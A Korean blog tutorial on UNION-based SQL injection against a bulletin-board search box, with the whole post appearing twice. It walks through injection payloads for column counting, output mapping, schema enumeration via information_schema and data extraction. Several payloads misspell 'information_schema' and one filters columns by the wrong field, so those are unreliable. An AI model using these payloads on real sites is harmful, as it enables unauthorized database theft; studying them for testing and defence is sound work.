UNION Based SQL Injection은 게시판의 검색 입력에서 많이 사용되는 공격기법이다.
게시판에서의 검색 내용은 DB 안에서 보통 '%____%' 사이에 삽입되는데, 이런 구조상의 취약점을 이용하여 공격한다.
1. 게시판 취약점 파악
게시판의 검색창에 문장을 입력했을 때 위에서 언급한 대로 '%____%' 사이에 삽입되는 구문인지부터 파악한다.
SELECT * FROM board WHERE search like %_$sentence_%' 와 같은 쿼리문일 것이라고 예상하고
검색어%' and '1%=1 이라는 문장을 검색창에 입력했을 때,
정상적으로 작동할 경우 SELECT * FROM board WHERE search like '%검색어%' and '1%=1%' 로
우리가 예상한 쿼리문이 사용되고 있음을 알 수 있다. 따라서 이를 활용하여 SQL Injection을 수행할 수 있다.
2. Column 개수 파악
UNION 연산자를 사용하기 위해서는 앞에 붙일 쿼리문과 같은 개수의 Column을 입력해주어야 한다.
따라서 본격적인 UNION SQL Injection을 수행하기 앞서 게시판에서 사용되는 테이블의 속성 개수를 먼저 파악해야한다.
이는 order by를 사용하여 알아낼 수 있는데 방법은 다음과 같다.
특정 쿼리문 뒤에 order by 1을 입력하면 첫번째 속성을 기준으로 오름차순으로 정렬하라는 의미이다.
즉, order by n 은 해당 테이블의 n번째 속성을 기준으로 오름차순으로 정렬하는 것이다.
(ASC는 오름차순, DEC는 내림차순)
SELECT * FROM board WHERE search like '%_$sentence_%' 인것을 파악한 상태이므로
검색어%' order by 1# 을 입력하면 SELECT * FROM board WHERE search like '%검색어%' order by 1#%' 로
테이블의 첫번째 속성이 존재한다면 해당 속성을 기준으로 오름차순 정렬되어 출력된다. 따라서
SELECT * FROM board WHERE search like '%검색어%' order by 1#%'
SELECT * FROM board WHERE search like '%검색어%' order by 2#%'
SELECT * FROM board WHERE search like '%검색어%' order by 3#%'
...
SELECT * FROM board WHERE search like '%검색어%' order by n#%'
을 입력하다보면 n번째에서 검색이 안되는 것을 확인할 수 있고, 해당 테이블의 속성 개수는 n-1개임을 알 수 있다.
3. 데이터 출력 위치 파악
테이블에 존재하는 모든 Column들이 출력되는 것이 아니기도하며, 어떤 데이터가 어느 위치에서 출력되는지 알고 있어야
UNION SQL Injection을 더 성공적으로 수행할 수 있다. 따라서(속성의 개수가 4개라고 가정하면)
검색어%' UNION SELECT 1,2,3,4 # 을 입력하면
SELECT * FROM board WHERE search like '%검색어%' UNION SELECT 1,2,3,4 # %' 가 쿼리문으로 작성된다.
일단 SELECT 1,2,3,4를 입력하면

와 같이 출력됨을 알 수 있는데, 따라서 이전의 쿼리문과 UNION 연산자로 합해지면 출력되는 튜플들의 맨 마지막 줄에
위의 튜플이 합해져 각 데이터가 몇 번째 데이터에 해당하는지 알 수 있게 된다.
4. 데이터베이스 이름 파악
select database()를 사용하면 아래와 같이 현재 사용중인 데이터베이스가 출력되는 것을 알 수 있다.(mysql 기준)


또 위와 같이도 출력을 할 수 있는데, 이를 활용하여 게시판 입력창에 %' UNION SELECT database(),2,3,4# 를 입력하면
SELECT * FROM board WHERE search like '%%' UNION SELECT database(),2,3,4#%' 가 입력된다.
따라서 출력되는 튜플들 중 첫 번째 속성에 대응되는 데이터 맨 튜플에 현재 데이터베이스 이름이 출력된다.
참고로 현재 사용되고 있는 데이터베이스 이름뿐만 아니라 해당 데이터베이스 시스템에 저장되어 있는
모든 데이터베이스의 이름을 출력시키기 위한 명령어는
SELECT schema_name FROM information_schema.schemata; 로 출력하면 아래와 같다.

5. 테이블 이름 파악
테이블 이름은 informaion_schema.tables라는 테이블에 저장되어 있으며, 속성명은 table_name이다. 따라서
검색어%' UNION SELECT table_name, 2,3,4 FROM informaion_schema.tables
WHERE table_schema='$데이터베이스명'# 을 입력하면(DB명은 위 4번의 방법으로 도출)
SELECT * FROM board WHERE search like '%검색어%' UNION SELECT table_name, 2,3,4
FROM informaion_schema.tables WHERE table_schema='$데이터베이스명'#%' 가 쿼리문이 된다.
따라서 4번에서와 비슷하게 출력되는 맨 밑 튜플에서 첫 번째 속성에 해당하는 데이터에 테이블명이 출력된다.
6. 속성 이름 파악
Column 이름은 informaion_schema.columns 테이블에 저장되어 있으며, 속성명은 column_name이다. 따라서
검색어%' UNION SELECT column_name,2,3,4 FROM information_schema.columns
WHERE table_schema='$테이블명'# 을 입력하면(테이블명은 위 5번의 방법으로 도출)
SELECT * FROM board WHERE search like '%검색어%' UNION SELECT column_name, 2,3,4
FROM information_schema.columns WHERE table_schema='$테이블명'#%' 가 쿼리문이 된다.
따라서 5번에서와 비슷하게 출력되는 맨 밑 튜플에서 첫 번째 속성에 해당하는 데이터에 속성명이 출력된다.
7. 데이터 추출
위에서 알아낸 속성명과 테이블명을 이용하여 데이터를 추출할 수 있다.
검색어%' UNION SELECT $속성명,2,3,4 FROM $테이블명# 을 입력하면
SELECT * FROM board WHERE search like '%검색어%' UNION SELECT $속성명,2,3,4 FROM $테이블명#%'
이 쿼리문으로 입력되면서 우리가 원하는 데이터를 추출할 수 있게 된다.
'웹 모의해킹 > SQL Injection' 카테고리의 다른 글
Blind Based SQL Injection (0) | 2022.11.09 |
---|---|
ERROR Based SQL Injection (0) | 2022.11.09 |
로그인 Case별 SQL Injection (0) | 2022.11.05 |
SQL Injection (0) | 2022.11.01 |
우분투에서 MySQL 사용법 (0) | 2022.11.01 |
UNION Based SQL Injection은 게시판의 검색 입력에서 많이 사용되는 공격기법이다.
게시판에서의 검색 내용은 DB 안에서 보통 '%____%' 사이에 삽입되는데, 이런 구조상의 취약점을 이용하여 공격한다.
1. 게시판 취약점 파악
게시판의 검색창에 문장을 입력했을 때 위에서 언급한 대로 '%____%' 사이에 삽입되는 구문인지부터 파악한다.
SELECT * FROM board WHERE search like %_$sentence_%' 와 같은 쿼리문일 것이라고 예상하고
검색어%' and '1%=1 이라는 문장을 검색창에 입력했을 때,
정상적으로 작동할 경우 SELECT * FROM board WHERE search like '%검색어%' and '1%=1%' 로
우리가 예상한 쿼리문이 사용되고 있음을 알 수 있다. 따라서 이를 활용하여 SQL Injection을 수행할 수 있다.
2. Column 개수 파악
UNION 연산자를 사용하기 위해서는 앞에 붙일 쿼리문과 같은 개수의 Column을 입력해주어야 한다.
따라서 본격적인 UNION SQL Injection을 수행하기 앞서 게시판에서 사용되는 테이블의 속성 개수를 먼저 파악해야한다.
이는 order by를 사용하여 알아낼 수 있는데 방법은 다음과 같다.
특정 쿼리문 뒤에 order by 1을 입력하면 첫번째 속성을 기준으로 오름차순으로 정렬하라는 의미이다.
즉, order by n 은 해당 테이블의 n번째 속성을 기준으로 오름차순으로 정렬하는 것이다.
(ASC는 오름차순, DEC는 내림차순)
SELECT * FROM board WHERE search like '%_$sentence_%' 인것을 파악한 상태이므로
검색어%' order by 1# 을 입력하면 SELECT * FROM board WHERE search like '%검색어%' order by 1#%' 로
테이블의 첫번째 속성이 존재한다면 해당 속성을 기준으로 오름차순 정렬되어 출력된다. 따라서
SELECT * FROM board WHERE search like '%검색어%' order by 1#%'
SELECT * FROM board WHERE search like '%검색어%' order by 2#%'
SELECT * FROM board WHERE search like '%검색어%' order by 3#%'
...
SELECT * FROM board WHERE search like '%검색어%' order by n#%'
을 입력하다보면 n번째에서 검색이 안되는 것을 확인할 수 있고, 해당 테이블의 속성 개수는 n-1개임을 알 수 있다.
3. 데이터 출력 위치 파악
테이블에 존재하는 모든 Column들이 출력되는 것이 아니기도하며, 어떤 데이터가 어느 위치에서 출력되는지 알고 있어야
UNION SQL Injection을 더 성공적으로 수행할 수 있다. 따라서(속성의 개수가 4개라고 가정하면)
검색어%' UNION SELECT 1,2,3,4 # 을 입력하면
SELECT * FROM board WHERE search like '%검색어%' UNION SELECT 1,2,3,4 # %' 가 쿼리문으로 작성된다.
일단 SELECT 1,2,3,4를 입력하면

와 같이 출력됨을 알 수 있는데, 따라서 이전의 쿼리문과 UNION 연산자로 합해지면 출력되는 튜플들의 맨 마지막 줄에
위의 튜플이 합해져 각 데이터가 몇 번째 데이터에 해당하는지 알 수 있게 된다.
4. 데이터베이스 이름 파악
select database()를 사용하면 아래와 같이 현재 사용중인 데이터베이스가 출력되는 것을 알 수 있다.(mysql 기준)


또 위와 같이도 출력을 할 수 있는데, 이를 활용하여 게시판 입력창에 %' UNION SELECT database(),2,3,4# 를 입력하면
SELECT * FROM board WHERE search like '%%' UNION SELECT database(),2,3,4#%' 가 입력된다.
따라서 출력되는 튜플들 중 첫 번째 속성에 대응되는 데이터 맨 튜플에 현재 데이터베이스 이름이 출력된다.
참고로 현재 사용되고 있는 데이터베이스 이름뿐만 아니라 해당 데이터베이스 시스템에 저장되어 있는
모든 데이터베이스의 이름을 출력시키기 위한 명령어는
SELECT schema_name FROM information_schema.schemata; 로 출력하면 아래와 같다.

5. 테이블 이름 파악
테이블 이름은 informaion_schema.tables라는 테이블에 저장되어 있으며, 속성명은 table_name이다. 따라서
검색어%' UNION SELECT table_name, 2,3,4 FROM informaion_schema.tables
WHERE table_schema='$데이터베이스명'# 을 입력하면(DB명은 위 4번의 방법으로 도출)
SELECT * FROM board WHERE search like '%검색어%' UNION SELECT table_name, 2,3,4
FROM informaion_schema.tables WHERE table_schema='$데이터베이스명'#%' 가 쿼리문이 된다.
따라서 4번에서와 비슷하게 출력되는 맨 밑 튜플에서 첫 번째 속성에 해당하는 데이터에 테이블명이 출력된다.
6. 속성 이름 파악
Column 이름은 informaion_schema.columns 테이블에 저장되어 있으며, 속성명은 column_name이다. 따라서
검색어%' UNION SELECT column_name,2,3,4 FROM information_schema.columns
WHERE table_schema='$테이블명'# 을 입력하면(테이블명은 위 5번의 방법으로 도출)
SELECT * FROM board WHERE search like '%검색어%' UNION SELECT column_name, 2,3,4
FROM information_schema.columns WHERE table_schema='$테이블명'#%' 가 쿼리문이 된다.
따라서 5번에서와 비슷하게 출력되는 맨 밑 튜플에서 첫 번째 속성에 해당하는 데이터에 속성명이 출력된다.
7. 데이터 추출
위에서 알아낸 속성명과 테이블명을 이용하여 데이터를 추출할 수 있다.
검색어%' UNION SELECT $속성명,2,3,4 FROM $테이블명# 을 입력하면
SELECT * FROM board WHERE search like '%검색어%' UNION SELECT $속성명,2,3,4 FROM $테이블명#%'
이 쿼리문으로 입력되면서 우리가 원하는 데이터를 추출할 수 있게 된다.
'웹 모의해킹 > SQL Injection' 카테고리의 다른 글
Blind Based SQL Injection (0) | 2022.11.09 |
---|---|
ERROR Based SQL Injection (0) | 2022.11.09 |
로그인 Case별 SQL Injection (0) | 2022.11.05 |
SQL Injection (0) | 2022.11.01 |
우분투에서 MySQL 사용법 (0) | 2022.11.01 |